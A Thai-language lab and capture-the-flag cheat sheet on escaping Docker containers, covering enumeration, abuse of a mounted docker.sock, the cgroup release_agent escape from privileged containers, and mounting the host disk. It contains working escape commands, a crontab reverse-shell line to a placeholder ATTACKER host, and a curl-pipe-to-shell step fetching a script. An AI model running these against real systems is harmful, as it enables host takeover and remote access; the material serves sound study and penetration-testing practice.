Docker Container Escape (เชิงลึก)

1. หลักการ & Enumeration

Container คือ process ที่ถูก isolate ด้วย namespace + cgroup + capability การ escape = ทำลาย isolation นี้ เริ่มจาก enumerate ว่า container ตั้งค่าอย่างไร (privileged? capability อะไร? mount อะไร?)

# เครื่องมือสแกนอัตโนมัติ
deepce.sh                    # หา escape vector ทั้งหมด
amicontained                 # ดู capability + namespace

# manual
cat /proc/self/status | grep -i cap   # capabilities
capsh --print
mount | grep -vE 'proc|sys|cgroup'     # mounts
ls -la /var/run/docker.sock 2>/dev/null # docker socket?
cat /proc/1/cgroup                     # cgroup info
fdisk -l 2>/dev/null                   # เห็น host disk = privileged

2. Docker Socket Escape

# ถ้ามี docker binary
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host sh

# ถ้าไม่มี docker binary — คุย API ผ่าน curl
# สร้าง container ที่ mount host /
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"]},"Tty":true}' \
  http://localhost/containers/create
# แล้ว start + attach

3. Privileged Container Escape

# ใน privileged container — escape ผ่าน cgroup release_agent
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat > /cmd <<'EOF'
#!/bin/sh
ip a > $host_path/output    # หรือ reverse shell
EOF
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output

# privileged เห็น host disk
fdisk -l
mkdir /mnt/host && mount /dev/sda1 /mnt/host
# เขียน cron/ssh key บน host
echo '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/443 0>&1"' >> /mnt/host/etc/crontab

4. Capability Abuse

# ถ้ามี SYS_PTRACE + --pid=host
ps aux                       # เห็น process ของ host
# inject shellcode เข้า process บน host ด้วย ptrace
# (ใช้ tool เช่น https://github.com/0x00pf/0x00sec_code injectso)

5. Lab Walkthrough

1. 1ได้ shell ใน container → รัน deepce.sh หรือ amicontained
2. 2เช็ค: docker.sock mount? → escape ทันที (section 2)
3. 3เช็ค privileged: fdisk -l เห็น disk = privileged → cgroup release_agent หรือ mount disk
4. 4เช็ค capability: capsh --print → ถ้ามี SYS_ADMIN/DAC_READ_SEARCH → ใช้ตามตาราง
5. 5เช็ค mount: host path เขียนได้? → cron/ssh key
6. 6หลัง escape: เป็น root บน host → flag มักอยู่ /root, /etc, หรือ container อื่น

6. Troubleshooting

7. Indicators & Quick Reference

• เริ่ม: deepce/amicontained สแกน → เลือก vector ตามที่เจอ
• docker.sock = ง่ายสุด (root host ทันที)
• privileged → cgroup release_agent หรือ mount disk
• capability → ดูตาราง (SYS_ADMIN พบบ่อย)
• เชื่อม: ถ้าอยู่ใน K8s ดูหัวข้อ Kubernetes Attacks ด้วย

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติว่าคุณเพิ่งได้ shell เข้าไปใน container ของโจทย์ (ผ่าน RCE, webshell, upload หรืออะไรก็ตาม) มีแค่เครื่องมือพื้นฐานใน Kali ไม่รู้จะเริ่มตรงไหน ทำตามขั้นตอนด้านล่างนี้ทีละข้อ แล้วดู decision tree ต่อว่าเจออะไรแล้วควรไปทางไหน

1. 1เช็คว่าอยู่ใน container จริงไหม: พิมพ์ ls -la /.dockerenv — ถ้าเจอไฟล์นี้ (แม้ว่างเปล่า) แปลว่าอยู่ใน Docker container แน่นอน
2. 2ดู cgroup: cat /proc/1/cgroup — ถ้าเห็น path มีคำว่า docker หรือ kubepods ยืนยันอีกชั้น (kubepods = อยู่ใน k8s pod ด้วย ให้ไปดูหัวข้อ Kubernetes Attacks ต่อ)
3. 3เช็ค capabilities ที่มี: capsh --print — ดูบรรทัด Current: ถ้าเห็น cap_sys_admin หรือ cap_dac_read_search = มีช่องทาง escape สูง
4. 4ดู mount points: mount หรือกรองด้วย mount | grep -vE 'proc|sys|cgroup' เพื่อหา mount แปลกๆ เช่น host path ที่เขียนได้
5. 5เช็ค docker socket: ls -la /var/run/docker.sock — ถ้ามีไฟล์นี้และเขียนได้ (rw) = escape ได้ทันทีเพราะคุย Docker API ของ host ได้ตรงๆ
6. 6เช็คสิทธิ์ตัวเอง: id — เป็น root ใน container (uid=0) ไม่ได้แปลว่าเป็น root บน host แต่ทำให้ escape ง่ายขึ้นมาก (mount, ptrace ทำได้)
7. 7เช็ค hostname/network: hostname และ ip a — ยืนยันว่าอยู่คนละ network namespace จาก host
8. 8ถ้าสงสัยว่า privileged ให้รัน fdisk -l — ถ้าเห็น disk ของจริง (เช่น /dev/sda) = container privileged แน่นอน ไปต่อ cgroup release_agent exploit ได้เลย
9. 9รันเครื่องมืออัตโนมัติสรุปทุกอย่างในทีเดียว: curl -sSL https://raw.githubusercontent.com/stealthcopter/deepce/main/deepce.sh | sh หรือถ้ามี binary ให้รัน amicontained ตรงๆ